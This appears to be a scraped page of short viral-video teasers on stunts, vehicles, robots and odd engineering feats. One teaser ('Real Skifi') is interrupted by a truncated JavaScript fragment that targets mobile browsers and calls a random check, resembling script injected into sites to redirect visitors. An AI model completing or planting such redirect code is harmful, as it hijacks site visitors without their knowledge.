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The human rocket
Rex Pemberton has a dream to soar through the sky with the help of his jet powered X-Wing. Years of development and training has led to this day and the first...
Real Skifi
These guys ski on all the surfaces you probably shouldn't ski on. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()
Homemade island
Floating off the coast of Vancouver Island, a 45-minute boat ride to the nearest town, is a sustainable island fortress complete with a dance floor, art gallery...
Whale surprises tourists
A group of whale-watching tourists caught more than a glimpse of their favourite marine mammal, when a fast-moving giant specimen of the fin variety whisked...
Biting their medals
The reason why Olympic athletes are so often photographed biting their medals. More specifically, why photographers so often ask Olympic athletes to bite their...
The fastest electric car
Clocking in at 205.6 mph, this Corvette Z06 has just beaten the land speed record for the fastest electric vehicle. The V8 engine has been replaced with twin...
Dancing robot record
At the Qingdao Beer Festival in Shandong, China, 1,007 robots bopped and shimmied their way to a new world record for the most robots dancing simultaneously. ...
Elevated bus road test
China's finally getting their insane lane-straddling bus on the road. The elevated alternative spans 72-feet long and 25-feet wide and rides above the...
Building an Olympic pool
The 2016 Olympics may start today, but athletes and organizers have been preparing for the big event for years. Watch as a crew spends 10 days constructing the...
Hidden words
Can you find all 6 words hidden in this drawing? Many people can’t. Click here to see the answers....
No parachute
Here is Luke Aikens, the first person to accomplish a planned jump and landing out of a plane without a parachute from an altitude of 25,000 feet. ...
Creating a supercar
Master modifier Matt McEntegart spent a year carving and producing his design featured in the upcoming Suicide Squad movie. Taking a base vehicle and stripping...
Legoland hidden secrets
Master Builder Robbie McCarthy show us all the hidden secrets of California's Legoland. ...
Whale shark freedive
Join freediver Ocean Ramsey as she films with whale sharks in the Philippines to document migrating populations. Whale shark populations are at an all-time low...
Tour de France freestyle
Sam Pilgrim breaks away from the Peloton to discover a new kind of route to the finish line at this year's Tour de France. ...
Tesla's gigafactory
Out in the Nevada desert, Elon Musk is constructing what will be the largest building in the world in terms of footprint. The gigafactory will produce the...
Hole-in-one
The Playgrounds golf course by Tiger Woods Design was opened to the public earlier this year, and the inaugural shot on the course definitely did not...
Water bottle experiment
The updraft coming off the Hoover Dam is so strong it makes water defy gravity. ...
Modobag
Meet Modobag, the motorized carry-on luggage that converts into a conveniently rideable scooter. ...
Unreal environment
Video game graphics have come a long way since the days of Pong. Take, for example, this overgrown urban environment designed using Unreal Engine 4. Featuring...